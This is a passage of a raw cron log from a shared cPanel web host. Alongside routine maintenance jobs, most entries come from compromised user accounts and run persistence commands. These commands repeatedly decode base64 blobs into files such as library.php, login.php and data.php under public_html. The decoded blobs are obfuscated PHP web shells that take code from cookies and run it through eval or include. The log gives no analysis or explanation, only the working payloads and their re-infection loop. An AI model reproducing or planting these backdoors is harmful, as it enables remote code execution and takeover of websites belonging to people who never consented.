eWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:10:02 medusa CROND[5361]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:10:02 medusa CROND[5362]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:10:02 medusa CROND[5353]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 09:10:02 medusa CROND[5363]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 09:10:02 medusa CROND[5369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 09:11:01 medusa CROND[28774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:11:01 medusa CROND[28807]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 09:11:01 medusa CROND[28872]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:11:01 medusa CROND[28873]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:11:01 medusa CROND[28874]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:11:01 medusa CROND[28878]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:11:01 medusa CROND[28877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:11:01 medusa CROND[28885]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:11:01 medusa CROND[28891]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:11:01 medusa CROND[28892]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 09:11:01 medusa CROND[28893]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:11:01 medusa CROND[28894]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:11:01 medusa CROND[28895]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:12:01 medusa CROND[20540]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 09:12:01 medusa CROND[20569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:12:01 medusa CROND[20570]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:12:01 medusa CROND[20572]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:12:01 medusa CROND[20571]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:12:01 medusa CROND[20573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:12:01 medusa CROND[20574]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:12:01 medusa CROND[20577]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:12:01 medusa CROND[20579]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:12:01 medusa CROND[20580]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:12:01 medusa CROND[20585]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:12:01 medusa CROND[20587]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
